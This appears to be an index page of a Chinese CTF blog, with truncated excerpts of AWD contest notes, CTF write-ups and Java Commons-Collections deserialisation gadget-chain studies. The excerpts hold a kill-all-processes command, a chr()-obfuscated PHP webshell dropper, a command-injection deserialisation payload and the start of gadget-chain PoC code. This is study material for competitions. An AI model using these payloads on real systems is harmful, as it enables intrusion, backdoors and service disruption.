初学AWD 心得
AWD 心得这是比赛前临时拷贝的一篇文章,已经找不到文章里,如侵请联系我删除,抱歉
这里将这个放到杀不死马的脚本里,杀死该用户下的所有进程,确定好用户名
1ps aux | grep www-data | awk '{print $2}' | xargs kill -9
这里写一个自动化的脚本会在比赛中更快一点
快速修站1scp -r html/ root@ip:/var/www/html/
快速备份1scp -r root@ip:/var/www/html/ `pwd`
比赛方放的后门:比赛方放的后门:12345<?php file_put_contents('./.config.php', '<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(9 ...
2024长城杯wp-北区
长城杯wpCRYPTORSA11234567891011121314step 1:p = 3570689330324393q = 8539449885098290729c = 11499128260801730440456056246212361e = 17求mstep2:e=0x10001c= 0x8a20cca012e973b2a8ca161bd1e82804714cc75bd1238f8579cc7a5143c8bb955320b8c2811dc98a4547e9f4fe856e039630n= 0xe708251f8e8b616121419de1369f44b4a92f9641b8270ae6c50cef2bb6548de7633176399640a553cc764ab02decfd4cbe45
1234567891011121314151617181920212223import gmpy2from Crypto.Util.number import *p = 3570689330324393q = 8539449885098290729c = 1149912826080 ...
2024NKCTF
2024NKCTFmy first cms访问/admin自动跳转到admin/login.php
爆破登录密码
换了好几个字典得到密码为
123用户名Admin密码Admin123
登录后台
来到Content->FileManager发现存在文件上传,上传发现没权限
到SiteAdmin->Settings-FileManager设置权限为yes,并且具有读写权限
返回发现显示root文件夹下文件
本来想回upload文件夹下上传,但是发现没权限,我有新建了一个文件夹
直接在root下新建文件夹123,先上传一个1.png
之后选中1.png
记得换目录
copy成功后
点击即可访问成功,直接执行命令就好
攻防世界题目练习-Web
攻防世界题目练习WEBunsepingpoc
1234567891011121314151617181920<?phphighlight_file(__FILE__);class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; }}$a=array('a'=>'ca""t${IFS}f*$(printf${IFS}"\57")f""lag_831b69012c67b35f.ph""p');$b=new ease("ping",$a);$c=serialize($b);$d=base64_encode( ...
CC链学习-Cc2
CC链学习-cc2
CC2和CC4的区别就是直接走的TemplatesImpl.newTransformer,没走ChainTransformer
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.Cha ...
CC链学习-Cc7
CC链学习-cc7
CC7主要是入口点换成了Hashtable
看到reconstitutionPut
紧接着下面就是他的调用方法
调用equals,这里的e.key.equals的key我们可以控制
查找equals
直接看AbstractMapDecorator
看AbstractMap,直接看equals方法
调用了get方法,这里的m是LazyMap的话 就可以成功调用
AbstractMapDecorator和AbstractMap都是抽象类,并不能实例化,但是都实现了Map,所以调用equals时是调用lazyMap.equals,找不到往上找就能找到AbstractMap.equals
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455import org.apache.commons.collections.Transformer;import org.apache.commons.collections.f ...
CC链学习-Cc5
CC 链学习 –cc5
cc5和前面不一样的地方主要及时在Lazymap.get()的触发方法上
和CC1不一样就是LazyMap.get后面是调了toString
1TiedMapEntry->toString->getValue
TiedMapEntry
到getValue()
getValue再调了map.get方法,然后就到了LazyMap.get()
poc
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.c ...
CC链学习-Cc4
CC链学习-cc4前言学习完cc1,6,3了,组长的视频也是快结束了,继续来捋一捋cc4
cc4其实和前面的几个挺相似的,也不过就是某个类的调用有点区别。
分析cc4是在ommons-collections4<基础上的,需要先导入一下
12345<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
组长从ChainedTransformer入手(这里可以把3.2.1的包删一下,看的我眼花聊乱的是4.0的ChainedTransformer)
查找transformer的用法,在TransformingComparator中
往回找看看谁调用了compare这里就比较难找了,需要有一些开发基 ...
CC链学习-Cc3
CC链学习–cc3前言前面学习了cc1和cc6,今天来学习一下cc3,cc3基于cc1有了一点点。由之前的的改变,cc3链就是改变了最后的执行类,由之前的Runtime命令执行改变为动态类加载,能够任意执行代码,对于命令执行,代码执行应用更加广泛。和cc1相比一个是命令执行,一个是代码执行。
分析既然说到了动态类加载,这里我们先来了解一下动态类加载
动态类加载机制 Java 是运行在 Java 的虚拟机(JVM)中的,但是它是如何运行在JVM中了呢?我们在IDE中编写的 Java 源代码被编译器编译成 .class 的字节码文件。然后由我们得由类加载器负责将这些 class 文件给加载到 JVM 中去执行。JVM提供了三层类加载器
Bootstrap classLoader:启动类加载器,主要负责加载核心的类库(java.lang.*等),构造 ExtClassLoader 和 APPClassLoader。
ExtClassLoader:拓展类加载器,主要负责加载 JAVA_HOME/lib/ext 目录下的一些扩展的 jar。 AppClassLoade ...
CC链学习-Cc6
CC链学习-cc6前言因为cc1不能解决高版本(8u71)利用问题,因此就需要在代码中找还有哪里调用了LazyMap.get方法。 TiedMapEntry.hashcode方法中调用了自己的getValue方法,getValue方法中又调用了map.get方法
分析先来看一下另一个版本的cc1
跟踪Chaintransform中的transform方法
结果找到了三个map
这次我们进LazyMap
发现Lazymap中的get方法利用到了factory.transform(),我们去看看factory的利用
就一个Transformer,触发factory需要过一个判断,判断的话map里没有key就好了
1234567891011121314151617181920212223/* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler. ...